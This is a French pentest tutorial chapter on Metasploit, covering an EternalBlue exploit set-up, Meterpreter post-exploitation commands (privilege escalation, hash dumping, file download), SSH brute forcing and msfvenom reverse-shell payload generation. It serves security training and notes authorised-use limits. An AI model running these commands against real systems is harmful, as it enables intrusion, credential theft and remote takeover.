3. Introduction à Metasploit Framework

Metasploit est le framework d’exploitation le plus utilisé dans le monde du pentest. Il centralise des milliers d’exploits, payloads et modules auxiliaires dans une interface unifiée. Ce chapitre vous guide depuis les premières commandes jusqu’aux sessions Meterpreter en environnement de lab.

Architecture de Metasploit

Modules MSF :
  exploits/    → code qui exploite une vulnérabilité
  payloads/    → code exécuté sur la cible après exploitation
  auxiliaries/ → scanners, fuzzers, sniffers (sans exploitation)
  post/        → actions post-exploitation (pivot, dump, persistence)
  encoders/    → obfuscation des payloads
  evasion/     → contournement d'antivirus

Démarrage et commandes de base

# Démarrer la base de données PostgreSQL (nécessaire pour workspace)
sudo systemctl start postgresql
sudo msfdb init

# Lancer msfconsole
msfconsole

# Commandes essentielles
msf6 > help                     # Aide
msf6 > search eternalblue       # Rechercher un module
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010) > info   # Infos sur le module
msf6 exploit(ms17_010) > options  # Paramètres requis

Configurer et lancer un exploit

msf6 exploit(ms17_010) > set RHOSTS 192.168.1.50   # Cible
msf6 exploit(ms17_010) > set LHOST 192.168.1.100   # Notre IP
msf6 exploit(ms17_010) > set LPORT 4444
msf6 exploit(ms17_010) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010) > check   # Vérifier si la cible est vulnérable
msf6 exploit(ms17_010) > run     # Lancer l'exploitation

Meterpreter : shell avancé post-exploitation

# Une fois une session Meterpreter ouverte :
meterpreter > sysinfo            # Infos système
meterpreter > getuid             # Utilisateur actuel
meterpreter > getsystem          # Tenter une élévation de privilèges
meterpreter > ps                 # Lister les processus
meterpreter > migrate 1234       # Migrer vers un autre processus
meterpreter > hashdump           # Extraire les hashes de mots de passe
meterpreter > screenshot         # Capture d'écran
meterpreter > download /etc/passwd /tmp/passwd  # Télécharger un fichier
meterpreter > shell              # Obtenir un shell système

Modules auxiliaires utiles

# Scanner de ports intégré
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(tcp) > set PORTS 22,80,443,3389
msf6 auxiliary(tcp) > run

# Brute force SSH
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(ssh_login) > set RHOSTS 192.168.1.50
msf6 auxiliary(ssh_login) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
msf6 auxiliary(ssh_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(ssh_login) > run

# Détection SMB
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_version) > run

Générer des payloads avec msfvenom

# Payload Windows reverse shell (exe)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe

# Payload Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o payload.elf

# Payload PHP (pour web shells)
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.php

# Écouter les connexions entrantes
msf6 > use exploit/multi/handler
msf6 handler > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 handler > set LHOST 192.168.1.100
msf6 handler > set LPORT 4444
msf6 handler > run
Points clés :

  • Metasploit centralise exploits, payloads et modules post-exploitation
  • Meterpreter est un shell avancé en mémoire, difficile à détecter
  • msfvenom génère des payloads pour toutes les plateformes
  • N’utiliser Metasploit que sur des environnements autorisés (lab, CTF, pentest signé)
SEE ALL Add a note
YOU
Add your Comment